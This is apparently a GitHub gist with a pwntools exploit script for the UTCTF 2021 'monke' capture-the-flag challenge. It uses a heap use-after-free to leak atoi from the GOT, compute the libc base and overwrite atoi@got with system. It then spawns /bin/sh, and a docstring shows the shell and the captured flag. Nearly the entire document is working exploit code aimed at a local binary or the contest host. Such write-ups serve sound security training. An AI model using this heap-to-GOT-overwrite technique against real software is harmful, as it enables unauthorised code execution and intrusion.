Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created March 13, 2021 22:53
Show Gist options
  • Save hugsy/3e01b863efd5c0131fcc8b03d998a3d6 to your computer and use it in GitHub Desktop.
Save hugsy/3e01b863efd5c0131fcc8b03d998a3d6 to your computer and use it in GitHub Desktop.
utctf 2021 - monke
#!/usr/bin/env python3.8
"""
[*] getting control of banana[1] via banana[3]...
[*] leaking atoi in libc...
[+] leaking atoi(): 7f42bbdfa7a0
[+] libc base: 7f42bbdba000
[+] system: 7f42bbe09550
[*] overwrite atoi@got with system...
[*] trigger system()
[*] Switching to interactive mode
[...]
$ /bin/sh
$ ls
flag.txt
$ cat flag.txt
utflag{m0nk3y_m0nk3y}
"""
import os, sys
from pwn import *
# context.log_level = "debug"
context.arch = "amd64" # arch="i386", arch="mips", arch="arm",
context.terminal = ["tmux", "split-window", "-v", "-p 75"]
LOCAL = True
TARGET_ELF = os.path.realpath("./monke")
elf = ELF(TARGET_ELF)
TARGET_LIBC = os.path.realpath("./libc-2.27.so")
libc = ELF(TARGET_LIBC)
def attach(r):
if LOCAL:
bkps = [
# 0x400e60,
]
cmds = [
# "heap-analysis-helper",
# "bp * $_base() + 0x1337",
"continue",
]
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds))
return
__prompt = b"2: inventory\n"
__nb_banana = 0
def walk(r, direction):
r.sendlineafter(__prompt, b"0")
r.recvline() # pick dir
r.sendline(direction)
def create_banana(r, sz, data):
global __nb_banana
r.sendlineafter(b"3: take banana\n", b"3")
r.sendlineafter(b"to be:\n", str(sz))
r.sendlineafter(b"name it:\n", data)
__nb_banana += 1
def eat_banana(r, idx):
r.sendlineafter(b"3: take banana\n", b"2")
r.recvline() # pick up item
res = b""
for i in range(__nb_banana): res += r.recvline()
r.sendline(str(idx))
r.sendlineafter(b"[eat|rename]:\n", b"eat")
return res
def rename_banana(r, idx, new_name, valid=True):
r.sendlineafter(b"3: take banana\n", b"2")
r.recvline() # pick up item
res = b""
for i in range(__nb_banana): res += r.recvline()
r.sendline(str(idx))
if not valid: return res
r.sendlineafter(b"[eat|rename]:\n", b"rename")
r.sendlineafter(b"name it:\n", new_name)
return res
def exploit(r):
# set `can_eat = 0` to `inventory[idx] = 0` after atoi
walk(r, b"JUNK")
for i in range(1): # todo adjust
r.sendlineafter(__prompt, b"0")
r.recvline()
r.sendline("n")
# create 3 aligned bananas 0->2
for i in range(3):
create_banana(r, 16, b"A"*14)
# poke holes
eat_banana(r, 0)
eat_banana(r, 1)
info("getting control of banana[1] via banana[3]...")
create_banana(r, 16, b"A"*14) # 3
info("leaking atoi in libc...")
rename_banana(r, 1, p64(elf.got["atoi"]) + p32(0xfffffff))
res = rename_banana(r, 4, b"plop", False)
atoi_leak = res.splitlines()[-1].split()[1].ljust(8, b"\x00")
atoi_leak = u64(atoi_leak)
success(f"leaking atoi(): {atoi_leak:x}")
libc.address = atoi_leak-libc.symbols.atoi
success(f"libc base: {libc.address:x}")
success(f"system: {libc.symbols.system:x}")
info("overwrite atoi@got with system...")
rename_banana(r, 3, p64(libc.symbols.system))
info("trigger system()")
r.sendline(b"/bin/sh")
r.interactive()
return 0
if __name__ == "__main__":
if len(sys.argv)>=2:
LOCAL = False
r = remote("pwn.utctf.live", 9999)
else:
r = process([TARGET_ELF, ], env={"LD_PRELOAD": libc.path})
attach(r)
exit(exploit(r))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment